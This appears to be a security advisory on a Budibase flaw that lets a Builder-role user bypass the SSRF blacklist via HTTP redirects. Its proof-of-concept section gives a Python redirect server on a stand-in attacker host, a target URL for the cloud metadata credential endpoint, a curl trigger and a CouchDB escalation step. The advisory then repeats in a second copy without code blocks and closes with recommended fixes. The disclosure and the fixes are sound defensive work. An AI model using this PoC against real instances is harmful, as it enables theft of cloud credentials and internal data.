Summary
The Budibase REST datasource integration validates outbound request URLs against an IP blacklist to prevent SSRF attacks, but does not validate or restrict HTTP redirects. An attacker with Builder role can configure a REST datasource pointing to an external server that returns a 302 redirect to an internal/private IP address (e.g., http://169.254.169.254/), completely bypassing the blacklist. This allows reading cloud instance metadata credentials, internal CouchDB databases, and other services on the internal network.
Details
The SSRF protection in Budibase works by resolving the hostname of the user-supplied URL to IP addresses via DNS, then checking those IPs against a net.BlockList of private ranges. This check happens once, before the HTTP request is made.
In packages/server/src/integrations/rest.ts:754, the URL is validated:
// rest.ts:748-778
const url = this.getUrl(
path,
mergedQueryString,
pagination,
paginationValues
)
if (await blacklist.isBlacklisted(url)) {
throw new Error("URL is blocked or could not be resolved safely.")
}
// ... dispatcher setup ...
let response: Response
try {
response = await fetch(url, input)
}
The isBlacklisted function in packages/backend-core/src/blacklist/blacklist.ts:132-148 performs DNS resolution and IP checking:
export async function isBlacklisted(address: string): Promise<boolean> {
if (!blackList) {
await refreshBlacklist()
}
let ips: string[]
if (!net.isIP(address)) {
try {
ips = await lookup(address)
} catch {
return shouldApplyDefaultBlacklist()
}
} else {
ips = [address]
}
return ips.some(ip => blackList!.check(ip, getIpVersion(ip)))
}
The default blacklist covers RFC 1918, loopback, link-local, and IPv6 private ranges (packages/backend-core/src/blacklist/blacklist.ts:6-16):
const DEFAULT_BLACKLIST = [
"127.0.0.0/8",
"10.0.0.0/8",
"172.16.0.0/12",
"192.168.0.0/16",
"169.254.0.0/16",
"0.0.0.0/8",
"::1/128",
"fc00::/7",
"fe80::/10",
]
However, the fetch() call at rest.ts:778 uses undici's default redirect: "follow" mode. The dispatcher created via getDispatcher() (packages/backend-core/src/utils/fetch.ts:109-114) creates a bare Agent with no maxRedirections restriction:
function createDirectAgent(rejectUnauthorized: boolean): Agent {
return new Agent({
connect: {
rejectUnauthorized,
},
})
}
There is no code anywhere in the fetch path that:
- Sets
redirect: "manual" in the RequestInit
- Sets
maxRedirections: 0 on the undici Agent
- Re-validates the redirect target URL against the blacklist
This means the blacklist check is trivially bypassed: a request to https://attacker.com/redirect passes the blacklist (external IP), then undici silently follows a 302 Location: http://169.254.169.254/latest/meta-data/ redirect to the blocked internal address. The response body from the internal service is returned to the caller and stored as the query result.
PoC
Prerequisites: Attacker has Builder role on a Budibase instance. Attacker controls an external HTTP server.
Step 1: Set up a redirect server
# redirect_server.py — run on attacker-controlled host
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://169.254.169.254/latest/meta-data/"
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header("Location", TARGET)
self.end_headers()
HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()
# On attacker machine:
python3 redirect_server.py "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Step 2: Create a REST datasource in Budibase
- Log in as a Builder user
- Navigate to an app → Data → Add Source → REST API
- Set the base URL to
http://attacker.com:8888
- Create a query with method GET and no additional path
Step 3: Execute the query
# Or via API directly (as authenticated builder):
curl -s -X POST "https://<budibase-host>/api/queries/<query-id>" \
-H "Cookie: budibase:auth=<session-cookie>" \
-H "Content-Type: application/json" \
-d '{}'
Expected result: The blacklist blocks the request to 169.254.169.254.
Actual result: The request to attacker.com:8888 passes the blacklist check, undici follows the 302 redirect to 169.254.169.254, and the cloud metadata response (including IAM credentials) is returned in the query result.
Step 4: Escalate — read internal CouchDB
# Change redirect target to internal CouchDB:
python3 redirect_server.py "http://localhost:4005/_all_dbs"
Execute the same query again. The response now contains a list of all CouchDB databases, including user data, app definitions, and global configuration.
Impact
- Cloud credential theft: On AWS/GCP/Azure-hosted Budibase instances, attackers can read instance metadata endpoints (e.g.,
http://169.254.169.254/latest/meta-data/iam/security-credentials/) to obtain temporary cloud credentials, potentially escalating to full cloud account compromise.
- Internal service access: Attackers can reach internal services not exposed to the internet, including CouchDB (port 4005), Redis (port 6379), and any other service on the internal network.
- Data exfiltration: CouchDB contains all Budibase application data, user records, and configuration. Redis contains session tokens and cached data.
- Multi-tenant risk: In Budibase Cloud, a builder on one tenant could potentially reach internal infrastructure shared across tenants.
- Builder role is not admin: Builder is a collaborator-level role that can be granted to external users for app development. It is not intended to convey infrastructure-level access.
Recommended Fix
Apply two complementary mitigations:
Fix 1: Disable automatic redirect following (primary fix)
In packages/server/src/integrations/rest.ts, set redirect: "manual" and handle redirects explicitly with blacklist re-validation:
// In the fetch call at rest.ts:778, add redirect: "manual" to input
input.redirect = "manual"
let response: Response
try {
response = await fetch(url, input)
} catch (err) {
// ... existing error handling ...
}
// Handle redirects with re-validation
const MAX_REDIRECTS = 10
let redirectCount = 0
while (
redirectCount < MAX_REDIRECTS &&
response.status >= 300 &&
response.status < 400
) {
const location = response.headers.get("location")
if (!location) break
const redirectUrl = new URL(location, url).toString()
if (await blacklist.isBlacklisted(redirectUrl)) {
throw new Error("Redirect URL is blocked or could not be resolved safely.")
}
response = await fetch(redirectUrl, { ...input, redirect: "manual" })
redirectCount++
}
Fix 2: Restrict redirects at the dispatcher level (defense in depth)
In packages/backend-core/src/utils/fetch.ts, set maxRedirections: 0 on the Agent:
function createDirectAgent(rejectUnauthorized: boolean): Agent {
return new Agent({
maxRedirections: 0,
connect: {
rejectUnauthorized,
},
})
}
Summary
The Budibase REST datasource integration validates outbound request URLs against an IP blacklist to prevent SSRF attacks, but does not validate or restrict HTTP redirects. An attacker with Builder role can configure a REST datasource pointing to an external server that returns a 302 redirect to an internal/private IP address (e.g.,
http://169.254.169.254/), completely bypassing the blacklist. This allows reading cloud instance metadata credentials, internal CouchDB databases, and other services on the internal network.Details
The SSRF protection in Budibase works by resolving the hostname of the user-supplied URL to IP addresses via DNS, then checking those IPs against a
net.BlockListof private ranges. This check happens once, before the HTTP request is made.In
packages/server/src/integrations/rest.ts:754, the URL is validated:The
isBlacklistedfunction inpackages/backend-core/src/blacklist/blacklist.ts:132-148performs DNS resolution and IP checking:The default blacklist covers RFC 1918, loopback, link-local, and IPv6 private ranges (
packages/backend-core/src/blacklist/blacklist.ts:6-16):However, the
fetch()call atrest.ts:778uses undici's defaultredirect: "follow"mode. The dispatcher created viagetDispatcher()(packages/backend-core/src/utils/fetch.ts:109-114) creates a bareAgentwith nomaxRedirectionsrestriction:There is no code anywhere in the fetch path that:
redirect: "manual"in theRequestInitmaxRedirections: 0on the undiciAgentThis means the blacklist check is trivially bypassed: a request to
https://attacker.com/redirectpasses the blacklist (external IP), then undici silently follows a302 Location: http://169.254.169.254/latest/meta-data/redirect to the blocked internal address. The response body from the internal service is returned to the caller and stored as the query result.PoC
Prerequisites: Attacker has Builder role on a Budibase instance. Attacker controls an external HTTP server.
Step 1: Set up a redirect server
Step 2: Create a REST datasource in Budibase
http://attacker.com:8888Step 3: Execute the query
Expected result: The blacklist blocks the request to
169.254.169.254.Actual result: The request to
attacker.com:8888passes the blacklist check, undici follows the 302 redirect to169.254.169.254, and the cloud metadata response (including IAM credentials) is returned in the query result.Step 4: Escalate — read internal CouchDB
Execute the same query again. The response now contains a list of all CouchDB databases, including user data, app definitions, and global configuration.
Impact
http://169.254.169.254/latest/meta-data/iam/security-credentials/) to obtain temporary cloud credentials, potentially escalating to full cloud account compromise.Recommended Fix
Apply two complementary mitigations:
Fix 1: Disable automatic redirect following (primary fix)
In
packages/server/src/integrations/rest.ts, setredirect: "manual"and handle redirects explicitly with blacklist re-validation:Fix 2: Restrict redirects at the dispatcher level (defense in depth)
In
packages/backend-core/src/utils/fetch.ts, setmaxRedirections: 0on the Agent: